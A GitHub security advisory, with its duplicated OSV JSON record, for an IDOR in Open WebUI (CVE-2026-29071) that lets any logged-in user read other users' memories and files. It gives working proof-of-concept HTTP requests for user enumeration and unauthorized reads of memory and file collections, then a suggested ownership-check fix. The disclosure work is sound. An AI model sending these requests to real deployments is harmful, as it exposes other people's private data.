GHSA-W9F8-GXF9-RHVW

Vulnerability from github – Published: 2026-03-27 15:35 – Updated: 2026-03-27 15:35
VLAI
Summary
Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories
Details

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns: - User files: file-{FILE_UUID} - User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup: 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "user@test.com",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "admin@test.com",
      "role": "admin"
    }
  ]
}

1poc - users

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

2poc - memory

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}

image

Impact

  • Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
  • User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
  • Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
  • No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),
):
    for collection_name in form_data.collection_names:
        if collection_name.startswith("user-memory-"):
            owner_id = collection_name.replace("user-memory-", "")
            if owner_id != user.id and user.role != "admin":
                raise HTTPException(status_code=403, detail="Access denied")
        elif collection_name.startswith("file-"):
            file_id = collection_name.replace("file-", "")
            # user_has_access_to_file — placeholder; verify file ownership
            # e.g. check if created_by matches user.id
            if not user_has_access_to_file(user.id, file_id):
                raise HTTPException(status_code=403, detail="Access denied")

2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T15:35:49Z",
    "nvd_published_at": "2026-03-27T00:16:22Z",
    "severity": "LOW"
  },
  "details": "### Summary\nAny authenticated user can read other users\u0027 private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),  # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings \u2192 Personalization \u2192 Memory) and add some memories.\n\n**Exploitation \u2014 Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\n```\n\nResponse reveals all users including admin\u0027s UUID, email, and role:\n\n```json\n{\n  \"users\": [\n    {\n      \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n      \"name\": \"user\",\n      \"email\": \"user@test.com\",\n      \"role\": \"user\"\n    },\n    {\n      \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n      \"name\": \"admin\",\n      \"email\": \"admin@test.com\",\n      \"role\": \"admin\"\n    }\n  ]\n}\n```\n\n\u003cimg width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" /\u003e\n\n**Exploitation \u2014 Step 2: Read admin\u0027s memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"user-memory-\u003cadmin_UUID_from_step_1\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private memories:\n\n```json\n{\n  \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\u003cimg width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" /\u003e\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation \u2014 Step 3: Read admin\u0027s private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"file-\u003cfile_UUID\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private document content and full metadata:\n\n```json\n{\n  \"documents\": [[\"Test PDF  \\nabc   \\nbcd\"]],\n  \"metadatas\": [[{\n    \"name\": \"Test PDF.pdf\",\n    \"author\": \"Mariusz Maik\",\n    \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n    \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n  }]]\n}\n```\n\n\u003cimg width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" /\u003e\n\n### Impact\n-  **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user \u2014 directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),\n):\n    for collection_name in form_data.collection_names:\n        if collection_name.startswith(\"user-memory-\"):\n            owner_id = collection_name.replace(\"user-memory-\", \"\")\n            if owner_id != user.id and user.role != \"admin\":\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n        elif collection_name.startswith(\"file-\"):\n            file_id = collection_name.replace(\"file-\", \"\")\n            # user_has_access_to_file \u2014 placeholder; verify file ownership\n            # e.g. check if created_by matches user.id\n            if not user_has_access_to_file(user.id, file_id):\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",
  "id": "GHSA-w9f8-gxf9-rhvw",
  "modified": "2026-03-27T15:35:49Z",
  "published": "2026-03-27T15:35:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29071"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI\u0027s Insecure Direct Object Reference (IDOR) allows access to other users\u0027 memories"
}



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